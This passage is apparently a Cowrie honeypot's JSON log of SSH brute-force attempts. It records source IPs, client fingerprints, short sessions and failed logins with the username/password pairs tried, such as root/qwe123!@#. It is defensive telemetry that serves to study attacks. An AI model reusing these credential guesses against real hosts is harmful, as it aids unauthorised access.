{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:50.229050Z","src_ip":"91.92.42.227","session":"a5771920d5d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:53.068609Z","src_ip":"91.92.42.227","session":"a5771920d5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:54.749851Z","src_ip":"91.92.42.227","session":"a5771920d5d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51932,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26f990eb316","protocol":"ssh","message":"New connection: 103.27.238.120:51932 (159.203.135.109:22) [session: f26f990eb316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:54.912916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:54.919425Z","src_ip":"103.27.238.120","session":"f26f990eb316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:55.179725Z","src_ip":"103.27.238.120","session":"f26f990eb316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"138500","message":"login attempt [root/138500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:55.963857Z","src_ip":"103.27.238.120","session":"f26f990eb316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55342,"dst_ip":"10.17.0.5","dst_port":22,"session":"1457b4e36086","protocol":"ssh","message":"New connection: 91.92.42.227:55342 (10.17.0.5:22) [session: 1457b4e36086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:56.602866Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:57.226301Z","src_ip":"103.27.238.120","session":"f26f990eb316","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:57.747428Z","src_ip":"91.92.42.227","session":"1457b4e36086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:57.750228Z","src_ip":"91.92.42.227","session":"1457b4e36086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:01.142308Z","src_ip":"91.92.42.227","session":"1457b4e36086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:03.579594Z","src_ip":"91.92.42.227","session":"1457b4e36086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55398,"dst_ip":"10.17.0.5","dst_port":22,"session":"15fda6833938","protocol":"ssh","message":"New connection: 91.92.42.227:55398 (10.17.0.5:22) [session: 15fda6833938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:03.748614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:04.510901Z","src_ip":"91.92.42.227","session":"15fda6833938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:04.514769Z","src_ip":"91.92.42.227","session":"15fda6833938","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:07.269256Z","src_ip":"91.92.42.227","session":"15fda6833938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:08.980946Z","src_ip":"91.92.42.227","session":"15fda6833938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47014,"dst_ip":"10.17.0.5","dst_port":22,"session":"54aad138a544","protocol":"ssh","message":"New connection: 91.92.42.227:47014 (10.17.0.5:22) [session: 54aad138a544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:10.776830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:11.508302Z","src_ip":"91.92.42.227","session":"54aad138a544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:11.511616Z","src_ip":"91.92.42.227","session":"54aad138a544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:14.764512Z","src_ip":"91.92.42.227","session":"54aad138a544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:17.107582Z","src_ip":"91.92.42.227","session":"54aad138a544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57040,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff664aa65cc","protocol":"ssh","message":"New connection: 91.92.42.227:57040 (10.17.0.5:22) [session: bff664aa65cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:17.488716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:18.360564Z","src_ip":"91.92.42.227","session":"bff664aa65cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:18.363677Z","src_ip":"91.92.42.227","session":"bff664aa65cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.909053325653076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:20.909271Z","src_ip":"102.37.220.188","session":"bfb44cf1f794","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:22.661668Z","src_ip":"91.92.42.227","session":"bff664aa65cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57114,"dst_ip":"10.17.0.5","dst_port":22,"session":"6de6d9535c8c","protocol":"ssh","message":"New connection: 91.92.42.227:57114 (10.17.0.5:22) [session: 6de6d9535c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:24.250388Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:24.770123Z","src_ip":"91.92.42.227","session":"bff664aa65cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55960,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74579115360","protocol":"ssh","message":"New connection: 103.153.68.219:55960 (10.17.0.5:22) [session: e74579115360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:25.196270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:25.200548Z","src_ip":"103.153.68.219","session":"e74579115360","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:25.241143Z","src_ip":"91.92.42.227","session":"6de6d9535c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:25.244804Z","src_ip":"91.92.42.227","session":"6de6d9535c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:25.456941Z","src_ip":"103.153.68.219","session":"e74579115360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:26.218619Z","src_ip":"103.153.68.219","session":"e74579115360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:27.475960Z","src_ip":"103.153.68.219","session":"e74579115360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:30.571754Z","src_ip":"91.92.42.227","session":"6de6d9535c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50528,"dst_ip":"10.17.0.5","dst_port":22,"session":"623107b659fb","protocol":"ssh","message":"New connection: 91.92.42.227:50528 (10.17.0.5:22) [session: 623107b659fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:30.865657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:32.138881Z","src_ip":"91.92.42.227","session":"623107b659fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 